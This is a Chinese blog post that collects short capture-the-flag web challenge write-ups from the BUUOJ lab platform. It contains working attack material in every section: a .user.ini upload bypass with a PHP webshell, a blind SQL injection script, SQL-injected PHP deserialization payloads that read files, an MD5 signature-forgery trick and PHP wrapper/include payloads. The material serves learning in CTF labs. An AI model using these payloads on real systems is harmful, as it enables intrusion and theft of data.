目录
区块链的内容先告一段落,好久没去 buu 刷题了。buu上有的题目太简单,单开写一篇文章不太合适,所以专门开了个合集简单记录一下。
[SUCTF 2019]CheckIn
文件上传,检测头用 GIF89 绕过,.htaccess 在有脏数据情况下不解析,用 .user.ini (不用重启 apache 也能生效)写入图片马并引用。payload:
// .user.ini
GIF89a
auto_prepend_file=a.png
auto_append_file=a.png
// 1.png
<script language="php">echo file_get_contents("/flag");</script>
[CISCN2019 华北赛区 Day2 Web1]Hack World
fuzz 了一下,符号基本都被 ban 了,但是 / 和 ^ 可以用,1 / 1 和 1 ^ 0 会返回正常结果,空格过滤可以用 %0a 之泪的绕过,上exp:
from requests import *
from string import ctfset
alpha = ctfset
s = session()
res = ""
u = "http://e100b868-2059-4f20-bdba-41f6a13b012c.node3.buuoj.cn/"
for x in range(50):
for a in alpha:
payload = "id=2/(if((ascii(substr((select\x0aflag\x0afrom\x0aflag),%d,1))=%d),1,2))" % (x, ord(a))
data = { 'id' : payload }
r = s.post(u, data)
if 'glzjin' not in r.text:
res = res + a
print(a)
break
print(res)
[网鼎杯 2018]Fakebook
注册,登录之后 view.php 有注入,用上一题的脚本还能跑,注出来的信息:
# fakebook 数据库
# users 表
# no username passwd data USER CURRENT_CONNECTIONS 列
用户有个 data 很有意思,扫一下网页发现有源码泄漏,下载是个类的定义。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
然后就到了这个题比较迷的地方了,类里虽然有检查 url 的函数,但是在反序列化时没有调用,给了我们用 file 协议读文件的机会。但是在注入点 union select 又被 ban 了,想到用 update 插入数据,再正常访问 view.php。(这个出题人丧心病狂,用 sha512 来哈希密码,512 位注的想死=-=)不知道是什么原因本地测试成功的 payload 无法执行,希望看到这篇博客的大佬们能指点一下,payload:
view.php?no=1;insert%20into%20users%20values(0,%27a%27,
%274dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a%27
,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22
;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27,%270%27,%270%27)%23
后来看了看 wp 发现可以用 /**/ 绕 union select,把 payload 换一下就行。
[De1CTF 2019]SSRF Me
题目说是 ssrf,实际上是代码审计。首先是看看拿 flag 的地方:
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
5 和 15 行用了 in 判断方法而没用 ==,其次判断分支没用用 if / elif 方式,而是全都用了 if,加上 in 这个点,很可能需要我们两块代码同时执行。于是找看看 action 能不能构造成类似 readscan 的形式。这个程序中所有的操作都需要签名验证,那再看看签名算法:
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
直接把三个参数拼接之后 md5,其中 action 不可控,似乎没法构造上述 payload。但是代码在哈希时没有分隔符,也就是说可以让 param 多写一个 read 伪造签名。访问 /geneSign?param=flag.txtread,得到签名 ecae660ac44181857e853e72d64ec34c,再访问 De1ta 按规则填数据即可。

[ZJCTF 2019]NiZhuanSiWei
伪协议的简单题,好像是浙江省赛的题目,怪不得大树哥哥要吐槽 23333,源码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
data 协议绕第 5 行的 if,11 行 include 可以 filter 读 useless.php 源码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
随便构造一下反序列化就行,别忘了最后触发反序列化要 include useless.php,payload:
http://8e6d2ab4-6a3d-4d0d-ae5f-cff26883b0fc.node3.buuoj.cn/?
text=data:text/plain,welcome%20to%20the%20zjctf&password=O:4:%22Flag%22:1:
{s:4:%22file%22;s:8:%22flag.php%22;}&file=useless.php